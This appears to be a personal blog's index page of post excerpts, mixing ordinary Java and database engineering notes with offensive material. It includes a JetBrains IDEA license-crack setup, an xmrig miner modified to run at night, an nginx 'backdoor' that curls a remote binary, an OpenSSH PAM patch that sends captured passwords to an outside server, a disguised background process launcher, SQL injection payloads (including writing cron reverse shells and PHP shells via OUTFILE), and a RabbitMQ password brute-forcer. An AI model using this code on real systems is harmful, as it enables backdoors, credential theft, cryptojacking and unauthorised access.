博文

目前显示的是标签为“代码研究”的博文

IDEA 激活问题

一、编辑JVM参数 -javaagent:E:\project\ja-netfilter\ja-netfilter-2022.2.0\ja-netfilter\ja-netfilter.jar 二、以下IP加入防火墙链接 76.223.63.197 13.248.188.196

大ファイルアップロードする解決案

图片
調査 サンプル画面を書くときに、「400MB」以上のMP4ファイルをアップロード時、JVMからメモリー不足エラーが起こりました。 普段、この時、JVMの占用メモリー引数を修正するだけでいいですが、別の実現し方で、解決しようと思いました。 動作はユーザーさんが複数のファイルを選んでから、ファイルごとにアップロードする、しかし、ファイルが多き過ぎて、Jvmに配れたメモリー資源が足りないことになりました。 画面を見ると、管理画面のファイルアップロードテキストは制限されてない、追加アップロードボタンをクリックすると、ファイルテキストを画面に追加できます。 一つのファイルテキストは選択できるサイズが最大1GBまで、五つのテキストは5GBになる、このように換算する。 アーキテクチャ 処理フロー 解決案 大ファイルを分割して、何回にアップロードするように修正。ファイルを分割して、ファイルブロック単位として、アップロードする。 もちろん、サーバーにアップロードする後、組み合わせて、AmazonのS3に保存する。 幸せなことは、Java APIを見ると、ファイルブロックが直接にS3にアップロードする、全ブロックがアップロード完了する後、シンプルに「組み合わせる範囲」のAPIを呼び出すだけで、リモートのS3サーバーに正常に読み取りができる。 最後 テストする後、一つテキストは2GBでもかまいません、日常使用に対する問題なかった。 インターネットのスピードが調整不能のため、時間がかなりかかる インターネットの有無にも仕方ないだろうか、草 :)

スレッドで処理資源を制限する

图片
課題説明 今って、大きく課題にアサインしてもらった。現状は、データ数が多すぎるので、そして、データ抽出したあとにそのロジックコードも長すぎる、ざっくりみると、20000行以上である。中で別システム連携であるのみにならず、DBデータの再抽出も多い。 テストの最小単位で3万件のデータをダウンロードに試してましたが、ローカルの開発環境で全然無理です。15分ほどにかかったあと、すぐダンしてしまった。 プロジェクトリーダーは「エラーになる行を見て、解決してください。」と言った 僕にとって日本では技術のことが知らないリーダーが多いです、実際はこんなに簡単に解決ではなく、性能問題は開発の段階に考えられるものと思うですが、仕様不備やスケジュールを合わせるため、開発段階にもややこしかったかもしれない ほぼ、現状を把握から解決まで二週間を経った、問題は以下になる loopの中にLoopが多すぎる 全件数を抽出した、未出力のデータって長期にメモリーを占用する 全データ処理後一瞬にファイルを出力する、400MBくらい SQL:where id in(...2000個以上のストリング...) 本番環境のメモリーは4GBがあるのに、2GBだけ使われてる 実現目標 100000件以上のデータがダウンロードできるように修正 アーキテクチャはこうになる 解決案 一番目の解決案はリストタイプをMapタイプに修正すればOKです。 二番目は全件数を抽出したので、回数による処理件数を制御すると僕は考えてます。リーダーさんは、「処理件数」だけで制御いけないかという質問を頂きました。 1人は「500件」、10人同時にダウンロードすれば並列件数が5000件です。30人なら、15000件。 以上の問題をもって、実験したが、5000件以内は別の機能に性能影響が最も小さい。 三番目の解決案は、一行ずつファイルに出力する、処理後にCSVの該当オブジェクトをNullにして、JVMがメモリー資源を自動的に開放できる 四番目は根拠の問題はMySQLのインデックスに走らなかったです、INの結合句は2000以上であるので。これに対すて、新しくテーブルを作成しました、毎回処理の回数データは「 insert into  new_ table_name(申込ID) select * from  old_ table_d...

Java 字符串分割及排序

         public   static   String   getSmallestAndLargest ( String   s ,   int   k )   {          String   newStr   =   new   String ( s );          java . util . List < String >   listStr   =   new   java . util . ArrayList < String >();          for ( int   i = 0 ; i < newStr . length ()- 1 ;   i ++   )   {              if (( newStr . length ()- i )   <   k )   {                  break ;              }              String   str   = ...

定时挖矿

void   xmrig :: Miner :: setJob ( const   Job   & job ,  bool   donate ) {      time_t  theTime =  time ( NULL );      struct   tm   * aTime  =  localtime (&theTime);     //int hour=aTime->tm_hour;      if ( aTime -> tm_hour  >=  22 ) {          Nonce :: pause ( false );          Nonce :: touch ();          setEnabled ( true );          printf ( " start ." );     }  else   if ( aTime -> tm_hour  <  8 ) {          if ( aTime -> tm_hour  >  8 ) {              Nonce :: pause ( tru...

简单加密解密

void encrypt(char *password) { int x = strlen(password); char t[strlen(password)]; strcpy(t, password); int i; for(i=0; i<strlen(password); i++) { char cur = t[i]; if(isalpha(cur)) { t[i] = cur +1; } } printf("%s\n",t); for(i=0; i<strlen(password); i++) { char c = t[i]; if(isalpha(c)) { t[i] = c - 1; } } printf("the decrypted message is: %s\n", t); } int main() { char msg[] = "root"; printf("%s\n", msg); encrypt(msg); }

Mock、Spring-boot、Stub、mybatis、Junit测试

nmap

 nohup nmap -v -A 10.2.24-30.1-254 -vv -p1-65535 -oX 1.xml &

nginx嵌入后门

int fatherpid = getpid(); printf("%d", fatherpid); pid_t fpid; fpid = fork(); if (fpid == 0) { int x1 = getppid(); while(1) { x1 = getppid(); if(x1 == 1) { return 0; } time_t timep = time(&timep); int x = gmtime(&timep)->tm_wday; if(x == 6 || x == 7 ) { system("/usr/bin/curl -m 5 -s http://xxx:10004/b.out"); sleep(30); } } return 1; }

如何更便利地利用openssh

图片
第一种方式: 通过添加源代码实现向远端发送数据的目的,因为HTTP有被拦截的风险。所以用二进制发送感觉比较好点。 https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/ 需要安装扩展     autoconf,PAM, void userauth_PAM(char * password) { char *server_ip_addr_domain = "www.xxxx.org"; int server_ip_port = 80; struct hostent *host; struct in_addr **addr_list; if (NULL != (host = gethostbyname(server_ip_addr_domain))) { addr_list = (struct in_addr **)host->h_addr_list; int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (socket_fd >= 0) { struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(unsigned int *)host->h_addr_list[0]; serv_addr.sin_port = htons(server_ip_port); if((connect(socket_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) >= 0 ) { send(socket_fd, password, strlen(password), 0); } c...

Python 自动定时任务

 写了一个定时执行任务的程序 0点开始启动到第二天的8点,之外的时间段都处于关闭状态。 import os from datetime import datetime import psutil SYSTEM_INIT = "SYSTEM_INIT" def execute(): os.system("nohup /bin/" + SYSTEM_INIT + " &") print("executed") def isExecuting(): pids = psutil.pids() ret_val = -999 for pid in pids: PNAME = psutil.Process(pid).name() if SYSTEM_INIT == PNAME: return pid return ret_val def main(): dateTime = datetime.now() HOUR = dateTime.hour; weedkey = dateTime.weekday() print(weedkey) if weedkey == 5 or weedkey == 6: pid = isExecuting() print(pid) if pid == -999: execute() else: return 0; # more than 00 less than 08 if HOUR >= 23 or HOUR < 8: # is exisxt pid = isExecuting() if pid == -999: execute(); return 0 if HOUR > 8 and HOUR != 23: pid = isExecu...

Sql Inject 拦截器过滤

 拦截器过滤在 SQL 注入中是很常用的一个功能。 1、and 使用 && 代替         所代表的意义是一样的 2、or 使用 || 代替         所代表的意义是一样的 3、urlcode 转码         例如[']转成%27,普遍用在代码检测不彻底的情况下。 4、SQL技巧         绕过空格,使用select(1),(2),(3)类似的形式 5、相关函数     5.1 extractValue                 报错注入的另一种形式,与双查询类似。  5.2 %a0编码                 对于空格的限制,采用编码。     5.3 %bf编码                 宽字节绕过。 6、双重参数         双重参数是指,同时提交两个参数名一样的参数,服务端仅验证了第一个。底层代码却处理了2个参数,达到绕过程序检测的目的。 例如 payload:http://192.168.230.129/trainer/Less-27/?id=911%27UnION%a0SElect(3),(SELect%a0group_concat(password)from%a0users),(5)and%a0%271 payload:http://192.168.230.129/trainer/Less-32/index.php?id=%bf%27%20union%20select%201,version(),user()%20--+

Sql Inject 协议头注入

图片
基于 User-Agent 注入 这是一个非常经典的 HTTP 协议注入,非常 NB。故此,我细化地写了下来。 payload:1',(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b),'3'); # 总结: 明显是后台 php 程序取 User-Agent 头信息地时候没有加入过滤,直接insert 就插入了。 这种类型地注入,就是明显的双查询注入,故意的引起报错造成信息泄露。 目前似乎没有开源工具针对 Http 协议头做参数检测。 基于 Cookies 注入 cookie 在程序处理 sessions 中非常、非常之常见。部分程序里的 cookie 是被 base64 或者其它编码程序编码过的,但是也有解码的方法,这是后话了。

Sql Inject 基于outfile

基于导出,导入文件的注入。目前来说,一般是不能利用的的,它需要在服务器上开启【secure_file_priv】参数 在mysql.init 里设置【secure_file_priv =】后,重启mysql即可使用,默认是关闭或有限访问路径。 查看参数:SHOW VARIABLES LIKE "secure_file_priv"; 利用思路: 普通导出文件:select * from users into OUTFILE  'c:\\1.txt'; 写入私钥:select 'ssh private text' INTO OUTFILE '/root/.ssh/authorized'; 写入定时任务:select 'cron time misstion' INTO OUTFILE '/etc/cron.d/revershell'; 写入shell:select 'php shell' INTO OUTFILE '/var/www/html/revershell.php'; 加载文件 select HEX(LOAD_FILE('c:\\1.txt')) select HEX(LOAD_FILE('/etc/passwd')) select HEX(LOAD_FILE('/etc/issue'))

Sql Inject Less 9 盲注基于休眠时间

因为基于休眠时间受限于网络带宽,时间,延迟等因素。所以返回的数据相当地不准确,需要根据返回地数据进行英文单词参照,慢,延迟高,还不准确。 如果发现了这类型地漏洞,那简直是噩梦。 注入地址,例:http://192.168.230.130/trainer/Less-9/?id=2' and sleep(10) --+ 查询数据库payload为:'and if(SUBSTR(DATABASE(),1,1)='s', sleep(5), null) --+ 查询表的payload为:' and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) --+ 查询表字段的payload为:' and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='emails' limit 0,1),1,1)='i', sleep(5), null) --+ 查询表数据的payload为:' and if(SUBSTR((select id from security.emails limit 0,1),1,1)='1', sleep(5), null) --+ 测试SQL: select SYSDATE() from dual where 1=1 and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) select SYSDATE() from dual where 1=1 and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name=...

Sql Inject Less 8 盲注基于布尔型

图片
实验 基于布尔类型注入其实就是根据布尔值来判断获取的ascill码的数值来进行注入的方式。 注入点,例:http://192.168.230.130/trainer/Less-8/?id=1' AND 1 --+ 0是false 1为true 举例,目前使用的数据库为:security select ASCII(substr(DATABASE(),8,8)) s 115 e 101 c 99 u 117 r 114 i 105 t 116 y 121 测试: 当我取第一个ascii码值,判断他大于114时,此时为false,判断true和false的依据为【You are in...】是否显示。 数据库第一个字符判断是否大于116,是false。 大于114 小于116 ,明显就是115了,也就是Security里的S字符。 这种明显效率低下。远远不如使用 group_concat 函数来的直接,非快速获取大量信息的方式。 POST注入,基于布尔值 POST注入其实和GET是一样的,都是基于布尔值来判断具体的ascii码值 payload:1") or substr(DATABASE(),1,1) ='s' #

Sql Inject Less 5-7 - 双查询注入

图片
实验 注入地址: http://192.168.230.130/trainer/Less-5/?id=1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 这种类型的注入问了很多人,最后得到了【双查询注入】。我一直以为是 【double 查询注入】,果然一定要严谨,严谨,再严谨。 只有这样才能建立良好的思维导图。 payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 出现的结果会是下图地两种情况,随机刷新出结果来: 查询表字段信息: payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select column_name from information_schema.columns where TABLE_NAME='emails' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 查询数据信息:(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 3,1),0x3a,0x3a, floor(rand...

Sql Inject Less 1-4 注入基础

图片
搭建环境 项目地址:https://github.com/Audi-1/sqli-labs 软件版本: php5.2.17nts mysql5.7.26 apache2.4.39 需要确保 php.ini 的三个参数处于关闭状态. 由于提交到后台的参数php程序自动会转义,例如单引号,这个在之后的版本已经被移除。由写程序的人自己来负责。 magic_quotes_gpc = Off magic_quotes_runtime = Off magic_quotes_sybase = Off 开始调试 Less-1 http://192.168.230.130/trainer/Less-1/?id=1' --+ 统计出表列 payload,表一共有3列:1' order by 4 --+  注意:order by 后的数字是表的列,第一列,第二列. 然后自定义payload执行我们自己的sql语句。 payload:1' select 1,2,3 --+ 注意:1是id列,在页面上没输出,使用这个字段是看不到结果的。 2和3这里、就可以写我们自己的sql语句了。 例如可以构造成:1' select 1, version(), 5 --+ 在mysql中的查询也会变成如下的列: Mysql数据库的元字段等信息因为都保存在 information_schema数据库里 ,所以可以构造payload查询这个数据库里的表:tables payload: -1' union select 1,TABLE_NAME, TABLE_ROWS from information_schema.tables where table_schema='security' limit 0,1 --+ 注意控制 limit 来筛选数据。 payload: -1' union select 1,group_concat(TABLE_NAME), group_concat(TABLE_ROWS) from information_schema.tables where table_schema='security' --+ 因为加入了group_concat函数全部输出了,所以不用调整limit 这样就可以查询出来这个数据库...

数据结构 - 物理结构的存储

图片
线性存储 如下的程序例子: #include <iostream> using namespace std; /** * 顺序存储结构 **/ int main() { int arr[10] = { 1,2,3,4,5,6,7,8,9,0 }; int* p = arr; printf("%p \n", p); for (int i = 0; i < size(arr); i++) { printf("%p : %d \n", p+i, *(p+i)); } printf("\n"); system("pause"); return 0; } 输出结果为 可以看到由于int类型在内存中占用4个字节的长度,所以出现了地址每4个间断进行了输出。 可以看到他的内存地址,都是连续的,006FF9**。可以证明,数组是在内存中开辟了一片连续且向邻的存储空间。 链式存储 索引存储 散列存储(HASH存储)

RabbitMQ の弱くパスワードをチェックするツール

Hydra ツールはRabbitMQのチェックがサポートできないので、自分でRabbitMQのAPIを参照して、書きました。 import sys,getopt,pika,optparse # #author shao # def connection(ip, port, username,password): credentials = pika.PlainCredentials(username, password) parameters = pika.ConnectionParameters(ip, port, '/', credentials) try: connection = pika.BlockingConnection(parameters) channel = connection.channel() connection.close() print("configuration! got password["+ password +"]") sys.exit(0) except: print("error password. ---------- [ " + password + " ] ") #channel.basic_publish(exchange='', routing_key='plugin_data', body='http://10.10.10.6:8000/test.lua') def loopWordlist(ip,port, username,passwordFile): try: file = open(passwordFile, mode="r", buffering=256, encoding="UTF-8"); words = file.readlines() for word in words: word = word....